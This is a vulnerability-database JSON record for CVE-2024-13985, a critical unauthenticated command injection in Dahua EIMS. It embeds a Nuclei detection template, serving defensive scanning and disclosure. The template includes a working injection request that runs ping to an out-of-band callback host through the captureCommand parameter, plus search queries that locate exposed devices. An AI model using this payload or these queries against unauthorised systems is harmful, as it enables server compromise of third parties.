{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-13985/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-13985/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-13985/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-13985/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-13985/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-13985"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-13985"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-13985.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-13985\n\ninfo:\n  name: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.\n  impact: |\n    Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.\n  remediation: |\n    Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.\n  reference:\n    - https://github.com/ahisec/nuclei-tps/blob/main/http/vulnerabilities/dahua/dahua-eims-capture-handle-rce.yaml\n    - https://cn-sec.com/archives/2554372.html\n    - https://github.com/wy876/POC/blob/main/%E5%A4%A7%E5%8D%8EEIMS-capture_handle%E6%8E%A5%E5%8F%A3%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md\n  classification:\n    cve-id: CVE-2024-13985\n    epss-score: 0.15095\n    epss-percentile: 0.96613\n    cwe-id: CWE-78\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: '\"Dahua EIMS\"'\n    zoomeye-query: 'app=\"大华 EIMS\"'\n  tags: cve,cve2024,dahua,eims,rce,oast,pre-auth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20{{interactsh-url}}%20index.pcap\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n      - type: regex\n        regex:\n          - \"^success$\"\n# digest: 4a0a00473045022030ddd91d824b53f786fb42639afdbe1834116c2cc00dfb7b7ec660bd9be8702c0221008c89d60d6670e9da2c0a41d246e2cf5ff7ef352beeeb4acba0c6532e6c50223b:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-13985"
}